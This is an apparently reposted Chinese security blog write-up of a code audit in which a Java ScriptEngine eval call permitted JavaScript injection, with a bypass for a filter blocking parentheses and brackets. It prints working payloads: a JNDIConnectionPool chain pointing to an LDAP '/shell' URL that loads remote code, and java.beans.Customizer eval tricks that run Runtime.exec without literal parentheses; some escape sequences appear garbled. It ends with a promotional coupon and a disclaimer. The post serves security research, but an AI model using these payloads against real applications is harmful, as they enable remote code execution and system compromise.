0x01 前言
某次项目进行代码审计碰到的一个点,由于项目保密性,所以不能截图原代码,这里会对原环境进行模拟,来尽可能还原当时的场景。
0x02 分析与利用
翻看了一下,这个点很明显,很快就发现了,就如下图所示。(大致的一个代码还原)
可以看到这个地方使用了ScriptEngineManager。
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engineManager = manager.getEngineByName("js");
并且后面调用了eval将data传入进行执行。
至于为什么产生代码注入我这里就不作过多解释了。
感兴趣的可以看一看:
https://docs.oracle.com/javase/7/docs/technotes/guides/scripting/programmer_guide/#top
那我们为什么不直接将()进行编码后直接RCE呢?
java.lang.Runtime.getRuntime().exec50"calc"51
实际环境中的代码做了一些处理,做了什么处理具体逻辑我已经忘了。
那么接下来我们做什么才能让他成功命令执行?
我当时看到过滤了()和[]的时候,想到了去找fastjson,但很可惜环境依赖版本是目前无poc的1.2.83版本,最多也就dns链子能玩玩,但是那又有什么用呢,那不是我追求的目标。
Runtime.exec() ×
ProcessBuilder ×
反序列化?反射? ×
好像都要用到(),那有没有什么get、set方法能将恶意参数传入到方法当中被调用呢?为什么要去找这些方法呢?
请看VCR.jpg。
在那之前可以看看这篇文章。
https://blog.csdn.net/dnc8371/article/details/106704883
在js当中Object.name其实可以等效于java当中的object.getName,那么有了这个思路就可以开始寻找我们的利用链了。
Org.docx4j.org.apache.xalan.lib.sql.JNDIConnetionPool。
a = new org.apache.xalan.lib.sql.JNDIConnectionPool,a.setjndiPath="ldap://0.0.0.0:1389/shell",a.connection
这只是其中一条利用的方式。
在p牛的代码审计当中我向他请教了另外一种方式,大家一定要看看,太牛了。
https://www.leavesongs.com/PENETRATION/nashorn-rce-without-parentheses.html
String a = "a = new java.beans.Customizer {setObject: eval},a.object = "java.lang.Runtime.getRuntime1345013451.exec13450'calc.exe'13451"";
a = new java.beans.Customizer {setObject: eval},a.object="java.lang.Runtime.getRuntime5051.exec50'calc.exe'51"
a=new java.beans.Customizer {setObject: eval},a.object ="java.lang.Runtime.getRuntime1345013451.exec13450'calc.exe'13451"
0x03 小密圈
最后送你一张优惠券,欢迎加入小密圈,好朋友。
原文始发于微信公众号(小黑说安全):实战 | 记一次某系统代码注入绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论